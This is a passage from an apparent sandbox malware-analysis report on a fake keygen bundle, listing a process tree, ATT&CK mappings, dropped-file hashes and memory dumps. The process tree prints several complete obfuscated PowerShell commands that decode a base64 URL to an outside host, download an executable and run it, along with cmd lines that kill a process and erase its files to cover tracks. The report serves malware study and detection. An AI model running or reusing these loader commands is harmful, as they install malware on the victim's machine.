- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:4964

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
6⤵
PID:4948

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:3596

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"
8⤵
PID:3672

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:3792

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
10⤵
- Executes dropped EXE
PID:3020

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:1720

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 1720 & erase C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe & RD /S /Q C:\\ProgramData\\664182020415969\\* & exit
9⤵
PID:4992

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 1720
10⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4300

C:\Users\Public\owj.exe
"C:\Users\Public\owj.exe"
6⤵
- Executes dropped EXE
PID:1760

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7332.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:3692

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2100

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:3952

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7332.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4244

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4376

C:\Users\Public\pdn.exe
"C:\Users\Public\pdn.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3924

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:852

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:3528

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 3528 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\171082497675153\\* & exit
8⤵
PID:4888

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 3528
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3668

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4724

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:1684

C:\Users\Public\pdn.exe
"C:\Users\Public\pdn.exe"
6⤵
- Executes dropped EXE
PID:4940

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\7332.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4456

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4572

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
PID:2160

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\jr3ciyvy.exe
2⤵
PID:3428

C:\Windows\temp\jr3ciyvy.exe
C:\Windows\temp\jr3ciyvy.exe
3⤵
- Executes dropped EXE
PID:4388

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:1084

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cmstp.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3920

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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C:\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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C:\ProgramData\softokn3.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\vcruntime140.dll

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C:\ProgramData\vcruntime140.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\1wUegZM6HW.exe

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C:\Users\Admin\AppData\Local\Temp\1wUegZM6HW.exe

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C:\Users\Admin\AppData\Local\Temp\7332.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\7332.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\7332.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\7332.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\7332.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\7332.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\7332.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\7332.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\7332.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\OQbkdHf8dn.exe

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C:\Users\Admin\AppData\Local\Temp\OQbkdHf8dn.exe

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C:\Users\Admin\AppData\Local\Temp\Ov1FCFOic7.exe

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C:\Users\Admin\AppData\Local\Temp\Ov1FCFOic7.exe

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C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\dYMPxxywEt.exe
MD5
013db621a3351e3fb049efd2ccad79ff

SHA1
a23394ea54dbc5342a77938a2c285ee616185560

SHA256
df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a

SHA512
1bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Public\opb.exe

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C:\Users\Public\opb.exe

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C:\Users\Public\opb.exe

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C:\Users\Public\owj.exe

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C:\Users\Public\owj.exe

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C:\Users\Public\owj.exe

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C:\Users\Public\pdn.exe

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C:\Users\Public\pdn.exe

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C:\Users\Public\pdn.exe

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C:\Windows\Temp\jr3ciyvy.exe
MD5
f4b5c1ebf4966256f52c4c4ceae87fb1

SHA1
ca70ec96d1a65cb2a4cbf4db46042275dc75813b

SHA256
88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

SHA512
02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

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C:\Windows\temp\jr3ciyvy.exe
MD5
f4b5c1ebf4966256f52c4c4ceae87fb1

SHA1
ca70ec96d1a65cb2a4cbf4db46042275dc75813b

SHA256
88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

SHA512
02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

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C:\Windows\temp\texmjafq.inf

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\??\PIPE\lsarpc

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll
MD5
02cc7b8ee30056d5912de54f1bdfc219

SHA1
a6923da95705fb81e368ae48f93d28522ef552fb

SHA256
1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

SHA512
0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll

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\Users\Admin\AppData\LocalLow\sqlite3.dll

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memory/200-312-0x0000000004950000-0x0000000004951000-memory.dmp

Filesize
4KB

Download
memory/200-308-0x0000000000000000-mapping.dmp

Download
memory/204-18-0x0000000000000000-mapping.dmp

Download
memory/852-164-0x0000000000000000-mapping.dmp

Download
memory/1084-335-0x0000000000000000-mapping.dmp

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memory/1084-338-0x00007FF8D3890000-0x00007FF8D427C000-memory.dmp

Filesize
9.9MB

Download
memory/1684-186-0x000000000041A684-mapping.dmp

Download
memory/1720-240-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/1720-238-0x0000000000417A8B-mapping.dmp

Download
memory/1720-237-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/1748-28-0x0000000000000000-mapping.dmp

Download
memory/1748-98-0x0000000009A30000-0x0000000009A31000-memory.dmp

Filesize
4KB

Download
memory/1748-31-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

Download
memory/1748-48-0x0000000007DD0000-0x0000000007DD1000-memory.dmp

Filesize
4KB

Download
memory/1748-99-0x0000000009530000-0x0000000009531000-memory.dmp

Filesize
4KB

Download
memory/1748-44-0x0000000007D60000-0x0000000007D61000-memory.dmp

Filesize
4KB

Download
memory/1748-102-0x000000000A8B0000-0x000000000A8B1000-memory.dmp

Filesize
4KB

Download
memory/1760-205-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/1760-202-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/1760-203-0x000000000043FCC3-mapping.dmp

Download
memory/2084-0-0x0000000000000000-mapping.dmp

Download
memory/2100-30-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

Download
memory/2100-62-0x0000000007D20000-0x0000000007D21000-memory.dmp

Filesize
4KB

Download
memory/2100-27-0x0000000000000000-mapping.dmp

Download
memory/2252-132-0x000000000043FCC3-mapping.dmp

Download
memory/2252-131-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/2252-134-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/3020-268-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3020-265-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3020-266-0x000000000041A684-mapping.dmp

Download
memory/3092-10-0x0000000000000000-mapping.dmp

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memory/3220-40-0x0000000007350000-0x0000000007351000-memory.dmp

Filesize
4KB

Download
memory/3220-21-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

Download
memory/3220-85-0x00000000090E0000-0x00000000090E1000-memory.dmp

Filesize
4KB

Download
memory/3220-13-0x0000000000000000-mapping.dmp

Download
memory/3220-23-0x0000000004880000-0x0000000004881000-memory.dmp

Filesize
4KB

Download
memory/3220-54-0x00000000073F0000-0x00000000073F1000-memory.dmp

Filesize
4KB

Download
memory/3220-58-0x0000000008400000-0x0000000008401000-memory.dmp

Filesize
4KB

Download
memory/3220-25-0x0000000007410000-0x0000000007411000-memory.dmp

Filesize
4KB

Download
memory/3220-80-0x0000000009B40000-0x0000000009B41000-memory.dmp

Filesize
4KB

Download
memory/3428-320-0x0000000000000000-mapping.dmp

Download
memory/3440-7-0x0000000000000000-mapping.dmp

Download
memory/3528-185-0x0000000000417A8B-mapping.dmp

Download
memory/3528-189-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/3572-9-0x0000000000000000-mapping.dmp

Download
memory/3596-226-0x0000000003290000-0x0000000003291000-memory.dmp

Filesize
4KB

Download
memory/3596-210-0x0000000072720000-0x0000000072E0E000-memory.dmp

Filesize
6.9MB

Download
memory/3596-207-0x0000000000000000-mapping.dmp

Download
memory/3596-232-0x000000000B3C0000-0x000000000B411000-memory.dmp

Filesize
324KB

Download
memory/3596-217-0x0000000000F40000-0x0000000000F41000-memory.dmp

Filesize
4KB

Download
memory/3620-292-0x0000000000000000-mapping.dmp

Download
memory/3628-314-0x000000000A560000-0x000000000A563000-memory.dmp

Filesize
12KB

Download
memory/3628-309-0x0000000002180000-0x0000000002191000-memory.dmp

Filesize
68KB

Download
memory/3628-301-0x0000000002110000-0x0000000002111000-memory.dmp

Filesize
4KB

Download
memory/3628-295-0x0000000072120000-0x000000007280E000-memory.dmp

Filesize
6.9MB

Download
memory/3628-298-0x0000000000030000-0x0000000000031000-memory.dmp

Filesize
4KB

Download
memory/3628-291-0x0000000000000000-mapping.dmp

Download
memory/3636-138-0x000000000041A684-mapping.dmp

Download
memory/3636-137-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/3636-141-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/3668-229-0x0000000000000000-mapping.dmp

Download
memory/3672-234-0x0000000000000000-mapping.dmp

Download
memory/3692-22-0x0000000000000000-mapping.dmp

Download
memory/3792-244-0x0000000072720000-0x0000000072E0E000-memory.dmp

Filesize
6.9MB

Download
memory/3792-247-0x00000000025E0000-0x00000000025E1000-memory.dmp

Filesize
4KB

Download
memory/3792-245-0x0000000000280000-0x0000000000281000-memory.dmp

Filesize
4KB

Download
memory/3792-262-0x000000000A6E0000-0x000000000A704000-memory.dmp

Filesize
144KB

Download
memory/3792-242-0x0000000000000000-mapping.dmp

Download
memory/3852-36-0x0000000007030000-0x0000000007031000-memory.dmp

Filesize
4KB

Download
memory/3852-12-0x0000000000000000-mapping.dmp

Download
memory/3852-19-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

Download
memory/3920-336-0x0000000000000000-mapping.dmp

Download
memory/3924-158-0x0000000000000000-mapping.dmp

Download
memory/3952-29-0x0000000000000000-mapping.dmp

Download
memory/3992-3-0x0000000000000000-mapping.dmp

Download
memory/3992-2-0x0000000000000000-mapping.dmp

Download
memory/4152-225-0x0000000000000000-mapping.dmp

Download
memory/4188-136-0x0000000000417A8B-mapping.dmp

Download
memory/4188-135-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4188-142-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4244-53-0x0000000000000000-mapping.dmp

Download
memory/4260-317-0x0000000072120000-0x000000007280E000-memory.dmp

Filesize
6.9MB

Download
memory/4260-315-0x0000000000000000-mapping.dmp

Download
memory/4260-332-0x00000000084C0000-0x00000000084C1000-memory.dmp

Filesize
4KB

Download
memory/4260-324-0x0000000007DD0000-0x0000000007DD1000-memory.dmp

Filesize
4KB

Download
memory/4292-227-0x0000000000000000-mapping.dmp

Download
memory/4300-260-0x0000000000000000-mapping.dmp

Download
memory/4376-69-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

Download
memory/4376-64-0x0000000000000000-mapping.dmp

Download
memory/4388-333-0x0000000000BA0000-0x0000000000BA1000-memory.dmp

Filesize
4KB

Download
memory/4388-331-0x00007FF8D3890000-0x00007FF8D427C000-memory.dmp

Filesize
9.9MB

Download
memory/4388-327-0x0000000000000000-mapping.dmp

Download
memory/4388-326-0x0000000000000000-mapping.dmp

Download
memory/4456-68-0x0000000000000000-mapping.dmp

Download
memory/4572-74-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

Download
memory/4572-72-0x0000000000000000-mapping.dmp

Download
memory/4724-167-0x0000000000000000-mapping.dmp

Download
memory/4888-228-0x0000000000000000-mapping.dmp

Download
memory/4940-180-0x000000000043FCC3-mapping.dmp

Download
memory/4940-184-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4948-198-0x0000000000000000-mapping.dmp

Download
memory/4964-108-0x0000000000000000-mapping.dmp

Download
memory/4964-192-0x0000000005500000-0x00000000055B0000-memory.dmp

Filesize
704KB

Download
memory/4964-119-0x0000000000B20000-0x0000000000B21000-memory.dmp

Filesize
4KB

Download
memory/4964-114-0x00000000704A0000-0x0000000070B8E000-memory.dmp

Filesize
6.9MB

Download
memory/4964-200-0x0000000006000000-0x000000000600D000-memory.dmp

Filesize
52KB

Download
memory/4964-193-0x0000000005F60000-0x0000000005F61000-memory.dmp

Filesize
4KB

Download
memory/4972-109-0x0000000000000000-mapping.dmp

Download
memory/4992-258-0x0000000000000000-mapping.dmp

Download
memory/5036-279-0x0000000072120000-0x000000007280E000-memory.dmp

Filesize
6.9MB

Download
memory/5036-276-0x0000000000000000-mapping.dmp

Download
memory/5036-290-0x0000000004D20000-0x0000000004D21000-memory.dmp

Filesize
4KB

Download
memory/5036-280-0x00000000004C0000-0x00000000004C1000-memory.dmp

Filesize
4KB

Download
memory/5040-284-0x0000000000000000-mapping.dmp

Download
memory/5076-302-0x0000000000000000-mapping.dmp

Download
memory/5080-300-0x00000000016F0000-0x00000000016F1000-memory.dmp

Filesize
4KB

Download
memory/5080-296-0x0000000000C70000-0x0000000000C71000-memory.dmp

Filesize
4KB

Download
memory/5080-306-0x000000000B180000-0x000000000B185000-memory.dmp

Filesize
20KB

Download
memory/5080-289-0x0000000072120000-0x000000007280E000-memory.dmp

Filesize
6.9MB

Download
memory/5080-286-0x0000000000000000-mapping.dmp

Download
memory/5080-304-0x00000000030F0000-0x0000000003102000-memory.dmp

Filesize
72KB

Download
memory/5100-121-0x0000000000000000-mapping.dmp

Download
memory/5116-123-0x0000000000000000-mapping.dmp

Download